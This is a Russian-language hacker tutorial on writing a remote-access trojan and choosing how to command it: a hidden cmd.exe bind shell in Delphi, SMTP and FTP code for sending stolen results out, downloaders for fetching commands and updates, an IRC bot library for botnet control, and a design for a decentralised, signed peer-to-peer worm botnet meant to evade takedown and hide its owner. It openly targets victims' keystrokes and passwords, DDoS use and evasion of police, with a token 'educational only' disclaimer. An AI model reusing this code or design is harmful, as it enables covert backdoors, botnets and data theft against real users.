Методы управления трояном

Вступление:

Плох тот хакер, который пользуется чужими троянами, пришла пора написать что-нибудь свое. При написании RAT (Remote Administration Tool) нужно точно определиться с методами управления им. Существуют различные виды RAT, от простых, которые при подключении на определенный порт дают тебе шелл, до сложных бот сетей с управлением по irc. Также весьма перспективны полностью децентрализованные системы управления. Эта статья будет о том, какие существуют методы управления RAT, в чем их достоинства и недостатки, и как их реализовать. Языком на котором приведены примеры будет Delphi, но все здесь написанное легко переносится на другой язык (С++, асм), так как везде используются только вызовы API и нет никаких зависящих от языка элементов.


С чего начинать написание RAT?

Для начала следует определиться с назначением твоего трояна. Будет ли это простая программа удаленного администрирования, irc бот, кейлогер, PassSender или даже сетевой червь. Для каждого вида RAT будут подходящими свои методы управления или их комбинации. Классический "администраторский" троян должен уметь давать шелл доступ, скачивать и закачивать файлы, снимать скриншоты экрана. Всякие приколы, такие как открытие CD или проигрывание звуков в серьезном трояне не нужны, это все игрушки для ламеров, но если RAT делается на продажу, то можно реализовать и это. Из всего этого вытекает, что такой троян должен быть интерактивным и обеспечивать немедленное реагирование на команды хозяина. Наиболее оптимальным в данном случае будет открытие на протрояненой машине порта, и прием команд через него. Но иногда возникает необходимость в программах иного рода, кейлогерах которые будут отправлять хозяину все набранное на клавиатуре жертвы, или программах извлекающих из компьютера все пароли. В таком случае будет весьма неудобно использовать для коммуникации открытие порта, так как тебе будет нужно подключаться к всем клиентам по отдельности для получения результатов их работы. Также это плохо скажется на твоей безопасности, так как нашедший трояна человек может дождаться твоего подключения и вычислить твой IP. Поэтому в таких случаях обычно используют управление трояном по FTP или по мылу. Например заводится 2 мыла, с первого RAT будет забирать команды для исполнения, а на второе отсылать результаты своей работы. Это весьма удобная система, но ее недостаток в том, что FTP и мыло используемые для управления RAT могут в любой момент закрыть, после чего ты теряешь всю сеть из протрояненых машин. Чтобы этого не произошло, будет полезно совместить этот способ управления с еще несколькими (например предусмотреть обновление списка мыла через IRC). Или например тебе нужно создать червя, который помимо распространения в сети будет нести "полезные" функции по управлению зараженным компьютером. Можно конечно использовать для этого фтп и мыло, но толку с них будет мало, так как время реакции сети будет большим (что затрудняет ее использование для DDOS атак), да и все источники получения команд быстро закроют, и велика вероятность того, что к тебе придут из отдела "K". Поэтому система управления бот-сетью должна быть максимально децентрализована, построена так, чтобы затруднить обнаружение отдающего команды и желательно иметь малое время отклика. К сожалению, трудно создать протокол управления отвечающий одновременно всем этим требованиям, поэтому придется выбирать исходя из назначения RAT. Весьма удобным способом управления является отдача команд через IRC. Его суть состоит в том, что зараженные машины подключаются к irc серверу и заходят на канал служащий для управления ими. После чего, хозяин канала может отдавать команды одновременно всем им. Достоинство этого метода в том, что обеспечивается быстрая реакция на команды, также этот метод управления весьма удобен, но к сожалению он имеет ряд недостатков. Сначала могут возникнуть проблемы с отсылкой результатов работы трояна, так как на канале их может быть десятки тысяч, то не получится отсылать результаты в виде сообщений на канале или в привате, так как при этом будет генерироваться весьма большой трафик, поэтому для отсылки результатов работы должна быть предусмотрена отдельная система. Также следует предусмотреть возможность обновления списка каналов и irc серверов, так как такие каналы могут быть довольно быстро закрыты. В плане безопасности хакера этот способ весьма хорош, так как для irc не требуется высокая скорость, что позволяет выходить на канал через цепочку из десятков прокси, шансы что тебя поймают при этом становятся вообще ничтожными. Для управления бот сетями также существует весьма перспективный, хотя редко применяемый способ - создание децентрализованного протокола управления (подобно пиринговым сетям). Достоинства этого способа в том, что практически невозможно разрушить такую сеть или найти ее владельца (даже если он не использует прокси). Недостаток этого метода в большом времени реакции сети на команды и в затрудненности пересылки результатов, а также в высокой сложности разработки и реализации такого протокола. В конце статьи я достаточно подробно рассмотрю один из вариантов реализации протокола полностью децентрализованной сети.

Классическая система удаленного администрирования архитектуры клиент-сервер Файловый менеджер трояна CoolAdmin

Здесь вы наблюдаете скриншоты трояна CoolAdmin работающего по классической технологии клиент-сервер. Это моя первая работа в области трояностроения. Троян с успехом применялся в локальной сети, но ни для чего серьезного не годиться.


Приступим к реализации

Для реализации описанных методов нам понадобиться иметь некоторые представления о сетевом программировании. Если ты раньше писал сетевые программы на Delphi компонентах, то настало время забыть их раз и навсегда. Конечно, может быть компоненты в некоторых случаях и удобны, но в RAT они абсолютно неприменимы, так как здесь важен малый размер, а также быстрая и стабильная работа, поэтому придется обходится тем, что дает нам API. Но, как говорится, настоящие хакеры легких путей не ищут. Писать полностью на API сначала может показаться тяжеловато, но зато потом, как выработается привычка, ты сможешь легко и быстро работать с сетью на сокетах и даже не вспоминать о компонентах. Если что-нибудь в этой статье будет непонятно, то тебе следует почитать статьи по программированию сокетов (в инете много найдешь), если нужно узнать о какой-то API - то лучшим справочником будет MSDN.

Шелл

Для начала попробуем реализовать классический шелл, так как это весьма необходимый (хотя и необязательный) элемент RAT. Для реализации шелла нужно запустить командный интерпретатор (cmd.exe) и перенаправлять ввод-вывод с его консоли через сеть. Каждое консольное приложение в системе имеет три хэндла связанные с вводом-выводом, это STDIN - стандартный ввод, STDOUT - стандартный вывод и STDERR - стандартный вывод сообщений об ошибках. По умолчанию эти хэндлы связаны с терминалом, и стандартный ввод берется с клавиатуры и выводится на экран, но можно переназначать эти хэндлы на файлы, пайпы, сокеты, устройства и.т.д. Самым простым будет создание сокета, ожидание соединения, и назначение его хэндла стандартным хэндлом ввода-вывода cmd.exe. Это реализует следующий код:

begin
  WSAStartup($202, WSAData); // инициализация WinSocks2
  // создаем сокет
  FSocket := WSASocketA(PF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
  SockAddrIn.sin_family := AF_INET;
  SockAddrIn.sin_port := htons(800); // назначаем 800 TCP порт для открытия шела
  bind(FSocket, SockAddrIn, 16); 
  listen(FSocket, 0);  // открываем порт
  while true do
   begin
    sHandle := accept(FSocket, nil, 0); // ожидаем соединения
    if sHandle <> INVALID_SOCKET then
     begin
       ZeroMemory(@St, SizeOf(TStartupInfo));
       St.cb := SizeOf(TStartupInfo);
       St.wShowWindow := SW_HIDE;
       St.dwFlags := STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW;
       St.hStdInput  := sHandle;
       St.hStdOutput := sHandle;
       St.hStdError  := sHandle;
       // запускаем cmd.exe с перенаправлением ввода-вывода
       CreateProcess(nil, 'cmd.exe', nil, nil, true, 0, nil, nil, St, Pr);
       CloseHandle(sHandle);
       CloseHandle(Pr.hProcess);
       CloseHandle(Pr.hThread);
     end;
   end;
end.

Код этот весьма прост, и кажется, что его легко написать без ошибок с первого раза, но тут есть два момента на которые следует обратить внимание. Во первых: сокет нужно обязательно создавать с помощью WsaSocketA из набора WinSock2, так как сокеты созданные с помощью socket из WinSock1 нельзя назначать в качестве стандартных хэндлов ввода-вывода других процессов. Основная особенность второй версии сокетов состоит в том, что они как устройства ввода-вывода аналогичны файлам (на самом деле TCP сокет представляет из себя хэндл устройства \Device\Tcp, UDP сокет - \Device\Udp, а RAW сокет - \Device\Raw), тоесть отсылать и получать данные можно с помощью ReadFile/WriteFile и использовать их хэндлы везде, где может быть использован файл. В случае перенаправления данных через пайпы можно пользоваться и функцией socket. Но тут возникает проблема связанная с тем, что для WinSock2 в дельфи нет заголовочных файлов, поэтому функцию WsaSocketA придется объявить самому. Делается это так:

function WSASocketA(af, wType, protocol: integer;
                    lpProtocolInfo: pointer;
                    g, dwFlags: dword): integer;
                    stdcall; external 'ws2_32.dll';

Во вторых: при запуске cmd.exe с помощью CreateProcess в передаваемой структуре TStartupInfo нужно установить не только хэндлы ввода-вывода, но и параметр dwFlags в значение STARTF_USESTDHANDLES or STARTF_USESHOWWINDOW. Первая константа указывает на то, что при запуске процесса будут использоваться указанные в TStartupInfo хэндлы, а вторая, что параметр wShowWindow не будет проигнорирован. Также параметр bInheritHandles передаваемый функции CreateProcess следует установить в true, чтобы хэндл открытого соединения был унаследован запускаемым процессом.


Мыло

Отправка почты это важная часть многих RAT, поэтому к ее реализации нужно подойти с умом. К сожалению, API по этой части нам мало что предоставляет. Конечно есть MAPI, но отправка почты через MAPI будет работать только тогда, когда в системе стоит совместимый почтовый клиент (по умолчанию оутлук), и при этом он соответственно настроен. Почта отправленная через MAPI будет отослана с почтового ящика пользователя, с помощью MAPI можно получить доступ к его адресной книге. Поэтому этот метод обычно используют в различных червях распространяющихся по почте, но для незаметной отправки данных он непригоден. На этом возможности API кончаются, поэтому нам придется реализовать отправку почты по протоколу SMTP вручную. Это может сначала показаться ужасным, но не так страшен SMTP протокол, как это кажется. При отправке почты по протоколу SMTP, клиент передает серверу текстовые команды, а сервер выдает на них ответы подтверждающие успешность выполнения, или сообщающие об ошибках. Для отправки письма нам не нужно реализовывать весь протокол, достаточно передать всего лишь несколько команд. Для начала попробуем отправить письмо вручную (через телнет), подключившись к smtp.mail.ru на порт 25. Диалог отправки письма может иметь такой вид:

220 mail.ru ESMTP Fri, 03 Jun 2005 04:38:29 +0400
HELO mail.ru
250 mx3.mail.ru Hello mail.ru [81.2.56.108]
MAIL FROM: [email protected]
250 OK
RCPT TO: [email protected]
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Text Pisma
.
250 OK id=1De0Dd-000CAt-00
QUIT
221 mx3.mail.ru closing connection

Первая команда которую мы должны передать SMTP серверу - это HELO (после чего идет хост SMTP), Далее мы должны передать адрес отправителя письма, что делается с помощью команды MAIL FROM, адрес получателя указывается командой RCPT TO, после этого нужно указать командой DATA на начало передачи данных письма. Конец письма определяется строкой с единственной точкой в начале. От сервера можно отсоединиться командой QUIT. Это описание протокола не учитывает SMTP авторизации, которую могут потребовать некоторые серверы, но писать ее мы не будем, так как такие серверы для RAT непригодны. После передачи каждой команды сервер возвращает строку с кодом и текстовым описанием результата ее выполнения, нам нужно получать эту строку и проверять код результата на успешность, успешными будем считать коды 220, 250 и 354. Для подключения к серверу и отправки команд мы будем использовать сокеты. Каждую команду мы будем формировать и отправлять следующим образом:

lstrcpy(Str, PChar('HELO ' + Smtp + #13#10#0));
send(FSocket, Str, lstrlen(Str), 0);

где Str - это буфер для команды. После выполнения каждой команды следует проверить успешность результата, для чего сделаем функцию Success

 function Success(): boolean;
 var
  Bytes: dword;
  RBuff: array [0..255] of Char;
 begin
   Result := false;
   Bytes := recv(FSocket, RBuff, 255, 0);
   if (Bytes = 0) or (Bytes = SOCKET_ERROR) then Exit;
   RBuff[3] := #0;
   if lstrcmp(RBuff, '220') = 0 then Result := true else
   if lstrcmp(RBuff, '250') = 0 then Result := true else
   if lstrcmp(RBuff, '354') = 0 then Result := true;
 end;

HTTP и FTP

Ты наверняка уже начал пугаться, что писать работу c FTP придется вручную на сокетах. Это конечно можно, но не нужно, так как великая и ужасная фирма Micro$oft все сделала для нашего счастья, и мы имеем весьма неплохой набор функций Internet API и URLMON API. Эти функции позволят нам без лишнего геморроя организовать обмен данными по протоколам HTTP, FTP и Gopher. Для начала попробуем скачать какой-нибудь файл по протоколу HTTP или FTP. Реализуется это весьма просто: UrlDownloadToFile(nil, 'http://www.xcontrol.com.ua/img/xclogo.jpg', 'C:\image.jpg', 0, nil); Для использования UrlMon API в секцию uses cледует включить UrlMon.pas. Этот способ скачки файла обычно используется для обновления RAT. Для приема пакета команд сохранять файл необязательно, это даже вредно, так как ухудшает маскировку трояна, здесь лучше загрузить файл в память, для этого мы используем Internet API. Начинать работу с Internel API следует с вызова InternetOpen. Синтаксис:

function InternetOpen(lpszAgent: PChar; 
                      dwAccessType: DWORD; 
                      lpszProxy, lpszProxyBypass: PChar; 
                      dwFlags: DWORD): HINTERNET; stdcall;

Параметры: lpszAgent - строка символов, которая передается серверу и идентифицирует программное обеспечение, пославшее запрос. Для RAT лучше всего ставить что-нибудь типа "Internet Explore 5.x" чтобы посылаемый запрос не выделялся среди других. dwAccessType - задает необходимые параметры доступа. Принимает следующие значения:
INTERNET_OPEN_TYPE_DIRECT - обрабатывает все имена хостов локально.
INTERNET_OPEN_TYPE_PRECONFIG - берет установки из реестра.
INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY - берет установки из реестра и предотвращает запуск Jscript или Internet Setup (INS) файлов.
INTERNET_OPEN_TYPE_PROXY - использование прокси-сервера. В случае неудачи использует INTERNET_OPEN_TYPE_DIRECT - LpszProxy - адрес прокси-сервера.
Игнорируется только если параметр dwAccessType отличается от INTERNET_OPEN_TYPE_PROXY. LpszProxyBypass - список имен или IP- адресов, соединяться с которыми нужно в обход прокси-сервера. В списке допускаются шаблоны. Так же, как и предыдущий параметр, не может содержать пустой строки. Если dwAccessType отличен от INTERNET_OPEN_TYPE_PROXY, то значения игнорируются, и параметр можно установить в nil. DwFlags – задает параметры, влияющие на поведение Internet функций.
Возможно применение комбинации из следующих разрешенных значений: INTERNET_FLAG_ASYNC, INTERNET_FLAG_FROM_CACHE, INTERNET_FLAG_OFFLINE. 

В принципе, можно неоднократно вызывать эту функцию, например, для доступа к различным сервисам, но обычно ее достаточно вызвать один раз. При последующих вызовах других функций возвращаемый указатель HINTERNET должен передаваться им первым. Таким образом, можно дважды вызвать InternetOpen, и, имея два разных указателя HINTERNET, работать с HTTP и FTP параллельно. В случае неудачи, она возвращает nil. Непосредственно с этой функцией связанна и еще одна, не менее важная: InternetCloseHandle. После завершения работы с Internet API нужно закрыть с ее помощью все указатели HINTERNET. После инициализации Internet API нам нужно открыть скачиваемый файл. Это делается функцией InternetOpenUrl:

function InternetOpenUrl(hInet: HINTERNET; 
                         lpszUrl: PChar; 
                         lpszHeaders: PChar; 
                         dwHeadersLength: DWORD; 
                         dwFlags: DWORD; 
                         dwContext: DWORD): HINTERNET; stdcall; 

Параметры:
HInet - указатель, полученный после вызова InternetOpen. LpszUrl - URL , до которого нужно получить доступ. Обязательно должен начинаться с указания протокола, по которому будет происходить соединение. Поддерживаются следующие протоколы - ftp:, gopher:, http:, https:. LpszHeaders - содержит заголовок HTTP запроса. Если установлен в nil, то вычисляется автоматически. DwHeadersLength - длина заголовка. Можно установить в 0 для автоматического вычисления. dwFlags - флаг, задающий дополнительные параметры перед выполнением функции. У нас он тоже будет иметь значение 0.

Функция возвращает указатель на открытый файл, или nil в случае ошибки. После открытия файла его можно прочитать в память с помощью InternetReadFile, узнать размер файла можно функцией InternetQueryDataAvailable. Приведу пример скачивания файла по HTTP протоколу с использованием Internet API:

begin
  hInternet := InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  hFile := InternetOpenUrl(hInternet, 'http://www.xcontrol.com.ua/img/xclogo.jpg', nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0);
  if hFile <> nil then
   begin
    InternetQueryDataAvailable(hFile, Size, 0, 0);
    GetMem(DataBuff, Size);
    InternetReadFile(hFile, DataBuff, Size, Bytes);
    hOut := CreateFile('c:\image.jpg', GENERIC_WRITE, 0, nil, CREATE_NEW, 0, 0);
    if hOut <> INVALID_HANDLE_VALUE then
     begin
      WriteFile(hOut, DataBuff^, Size, Bytes, nil);
      CloseHandle(hOut);
     end;
    FreeMem(DataBuff);
    InternetCloseHandle(hFile);
   end;
  InternetCloseHandle(hInternet);                       
end.

Этот метод обычно используется для получения команд RAT. Еще я рассмотрю пример закачки файла на FTP с использованием Internet API. После вызова InternetOpen нам нужно подключиться к FTP серверу и авторизоваться на нем, это можно сделать с помощью функции InternetConnect:

function InternetConnect (hInet: HINTERNET; 
                          lpszServerName: PChar; 
                          nServerPort: INTERNET_PORT; 
                          lpszUsername: PChar; 
                          lpszPassword: PChar; 
                          dwService: DWORD; 
                          dwFlags: DWORD; 
                          dwContext: DWORD): HINTERNET; stdcall;

Параметры:
HInet - указатель, полученный после вызова InternetOpen. LpszServerName - имя сервера, с которым нужно установить соединение. Может быть как именем хоста - ftp.narod.ru, так и IP адресом - 213.180.199.32 NServerPort - указывает на TCP/IP порт, с которым нужно соединиться. В нашем случае это будет 21 порт. LpszUsername - имя пользователя, желающего установить соединение. Если установлено в nil , то будет использовано имя по умолчанию, но для HTTP это вызовет исключение. LpszPassword - пароль пользователя для доступа к серверу. Если оба значения установить в nil, то будут использованы параметры по умолчанию. DwService - задает сервис, который требуется от сервера. Может принимать значения INTERNET_SERVICE_FTP, INTERNET_SERVICE_GOPHER, INTERNET_SERVICE_HTTP. DwFlags - Задает специфические параметры для соединения. Например, если DwService установлен в INTERNET_SERVICE_FTP, то можно установить в INTERNET_FLAG_PASSIVE для использования пассивного режима.  

Функция возвращает указатель на установленное соединение или nil в случае невозможности его установки. Итак, мы имеем связь с сервером, нужный нам порт открыт. Теперь следует закачать соответствующий файл. Для этого существует функция FtpPutFile:

function FtpPutFile(hConnect: HINTERNET; 
                             lpszLocalFile: PChar;
                             lpszNewRemoteFile: PChar; 
                             dwFlags: DWORD; dwContext: DWORD): BOOL; stdcall;

Параметры:
hConnect - указатель на соединение установленное InternetConnect. lpszLocalFile - путь к локальному файлу на диске. lpszNewRemoteFile - путь к закачиваемому на сервер файлу. dwFlags - параметры закачки. Лучше всего всегда устанавливать как FTP_TRANSFER_TYPE_BINARY, что заставит передавать файл как бинарные данные, а не как ASCII текст. Полностью закачка файла будет выглядеть так:

begin
  hInternet := InternetOpen(nil, INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  hConnect := InternetConnect(hInternet, 'ftp.narod.ru', 21, 'Ms-Rem', '*****', INTERNET_SERVICE_FTP, 0, 0);
  if hConnect <> nil then
   begin
     FtpPutFile(hConnect, 'c:\readme.txt', 'NewText.txt', FTP_TRANSFER_TYPE_BINARY, 0);
     InternetCloseHandle(hConnect);
   end;
  InternetCloseHandle(hInternet);
end.

Ну, слава Биллу Гейтсу, с FTP мы разобрались. Пора переходить к более сложным вещам.


IRC

IRC протокол штука весьма удобная для управления RAT, но к сожалению дядя Билл не позаботился о нашем процветании, и в Win API мы для IRC абсолютно ничего не имеем. Поискав в интернете на эту тему я обнаружил только рекомендации использовать VCL компоненты для работы с IRC, но все они очень громоздки и неповоротливы, поэтому придется писать реализацию IRC протокола на сокетах самому. Для начала неплохо бы ознакомиться с документацией RFC 1459 описывающей устройство протокола. При первом взгляде на документацию, становиться страшно от ее размера и количества всевозможных команд, кодов ошибок и.т.д. Но к нашему счастью половина всего этого относиться к обмену данными между IRC серверами, и ее мы можем смело пропустить, а из оставшейся часть нам пригодится лишь несколько основных команд. Для начала попробуем подключиться телнетом на IRC сервер, зайти на какой-нибудь канал и понаблюдать за разговором. Это поможет лучше понять принципы работы IRC протокола и формат передаваемых сообщений. Итак, начнем. Подключимся телнетом к IRC серверу irc.street-creed.com на порт 6667. После подключения мы видим следующее сообщение сервера:

:Infinity.street-creed.com NOTICE AUTH :*** Looking up your hostname...
:Infinity.street-creed.com NOTICE AUTH :*** Found your hostname (cached)

Это означает, что сервер готов к приему команд, но сначала нам нужно авторизоваться и определить никнейм под которым мы будем заходить на каналы. Для начала используем команду USER, по RFC 1459 она имеет такой формат:

USER     

В нашем случае в качестве username и realname мы подставим ник, а в качестве hostname и servername - localhost. Допустим, наш ник будет SuperCoder:

USER SuperCoder localhost localhost SuperCoder

Далее нам нужно указать серверу ник под которым мы будем сидеть, делается это командой NICK SuperCoder. После этого сервер выдает нам кучу служебной информации, что означает, что авторизация проведена и он готов принимать команды. Для начала подключимся к каналу #cracklab, что делается командой JOIN #cracklab. Если все прошло правильно, то сервер выдаст нам сообщение следующего типа:

:[email protected] JOIN :#cracklab.

После этого мы можем читать сообщения на канале, они будут приходить от сервера в таком виде:

:[email protected] PRIVMSG #cracklab :hi all

Это означает, что человек с ником Ms-Rem послал на канал #cracklab сообщение hi all. Чтобы послать свое сообщение на канал или кому-нибудь в приват, нужно воспользоваться командой PRIVMSG. Формат ее таков: PRIVMSG , где в качестве receiver может быть как канал, так и ник. Например, поприветствуем находящихся на канале: PRIVMSG #cracklab Hi dudes! Как ты видишь, IRC протокол не так сложен, как это кажется сначала. Для его реализации нам нужно подключиться к серверу, посылать команды и парсить ответы сервера выделяя из них сообщения. Единственный важный, но не совсем понятный момент: при длительном молчании, сервер может послать клиенту сообщение PING, на которое клиент должен как можно быстрее ответить командой PONG, иначе соединение будет завершено по таймауту. Это используется для контроля целостности соединения, и при реализации протокола это обязательно нужно учесть.

Работа с IRC через Telnet

А теперь я хочу тебя обрадовать, тебе не придется это писать самому! Я уже сделал для этого библиотеку Mini IRC Delphi Library, которая реализует минимально необходимый для RAT набор функций для работы с IRC (все реализовано на 100% чистом API с применением сокетов), и сейчас я расскажу о ее применении.

Сначала подключим в наш проект файл mIRC.pas, после чего мы сможем использовать функции библиотеки. Для установки соединения с IRC сервером служит функция IrcConnect, ее формат таков:

Function IrcConnect(Server: PChar; Port: dword; NickName: PChar; MsgCallback: pointer): dword;

Server - имя или IP IRC сервера.
Port - порт сервера.
NickName - ник под которым мы будем заходить на каналы.
MsgCallback - адрес callback функции принимающей сообщения.
Если принимать сообщения не нужно, то можно установить в nil. Функция возвращает хэндл соединения, при невозможности установки соединения возвращается 0. Для приема сообщений с IRC каналов служит callback функция, которая должна быть определена в вашей программе. Она должна иметь следующий формат:

function(Nick, Channel, Msg: PChar): boolean;

Каждый раз при приходе сообщения на канале или в привате эта функция будет вызвана, в параметрах Nick, Channel и Msg передаются соответственно ник пославшего сообшение, канал на котором послано сообщение и собственно само сообщение. Для продолжения приема сообщений функция должна возвратить значение false, в случае если она возвращает значение true, соединение будет прервано и поток обрабатывающий сообщения завершен. Библиотека может поддерживать одновременно несколько соединений с IRC серверами, причем для каждого соединения заводится свой поток обрабатывающий цикл сообщений. Из других функций библиотеки можно выделить IrcJoinToChannel, IrcExitFromChannel, IrcSendMessage, IrcCommand, IrcClose. О назначении этих функций нетрудно догадаться по их названиям, а примеры их использования вы найдете в архиве с библиотекой.

А вот и скриншот IRC клиента написанного с применением этой библиотеки:

IRC клиент написаный на чистом API.

Реализуем распределенный протокол.

С точки зрения "живучести" и безопасности для хакера самым надежным средством управления бот сетями будет полностью децентрализованный распределенный протокол. Здесь я рассмотрю один из вариантов такого протокола. Предназначен он для передачи команд сети машин зараженных червем, и его суть состоит в том, что червь попавший на компьютер будет поддерживать постоянное соединение с червем его пославшим, а также будет периодически сканировать сеть в поисках других зараженных компьютеров, и при нахождении будет устанавливать с ними соединение. Хозяин этой бот сети для того чтобы передать команду, отдает ее любому узлу сети. Каждый командный пакет сопровождается цифровой подписью хозяина, это предотвращает фальсификацию командных пакетов. Получив такой пакет, узел сети должен проверить его подпись, и в случае достоверности передать пакет всем узлам с которыми он соединен, после чего начать исполнение пакета. Для предотвращения многократной передачи одного и того же пакета, используется уникальный идентификатор пакета, и если узел уже принимал пакет с таким идентификатором, то он отказывает в приеме пакета передающему узлу. Таким образом, посланный от любого узла пакет обязательно разойдется по всей сети, и остановить их передачу будет практически невозможно, так как нет единого центра через который проходят команды. Уничтожить сеть фальсифицированным командным пакетом тоже невозможно, так как пакет содержит электронную подпись. Нарушить функционирование сети заставив ее многократно исполнять один и тот же пакет невозможно, так как уникальность пакетов контролируется идентификатором пакета, а его изменение приведет к потере электронной подписи. Поэтому бороться с такой сетью будет черезвычайно трудно, а найти хозяина сети практически невозможно, так как пакет мог быть изначально передан любым узлом сети. Главный недостаток этого метода в том, что в практической ситуации один узел сети не сможет поддерживать много соединений с другими, а значит время расхождения пакета по сети будет весьма большим. Для устранения этого недостатка можно использовать частичную централизацию сети, использовав для поиска узлами сети друг друга IRC сервера, или сервера пиринговых сетей. К тому же некоторые узлы сети (имеющие постоянные IP адреса) могут сами выступать в качестве серверов поиска. Практическая реализация такого протокола будет сильно зависеть от области его конкретного применения. В любом случае нужно обладать некоторым опытом в сетевом программировании, чтобы сделать это. Но я думаю, что после прочтения этой статьи и внимательного изучения приложенных к ней исходников ты сможешь сделать и более сложные вещи. 


Вся информация приведенная в статье дана ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ для лучшего понимания работы сетевых протоколов и сетевого программирования. За применение этой информации в незаконных целях автор статьи ответственности не несет.

Приложение:

Как всегда в приложении идут все файлы к статье. Дополнительно здесь вы можете скачать пример IRC бота написанного на MiniIrc библиотеке.

ФайлОписание
bind_shell.rar (8 кб)Простой пример открытия шела на порту.
downloader.rar (9 кб)Несколько примеров простых довнлоадеров.
send_mail.rar (10 кб)Пример отсылки письма через сокеты.
trojan.rar (3 кб)Исходники простейшего трояна - IRC бота.




© Copyright by Ms-Rem ALL RIGHTS RESERVED.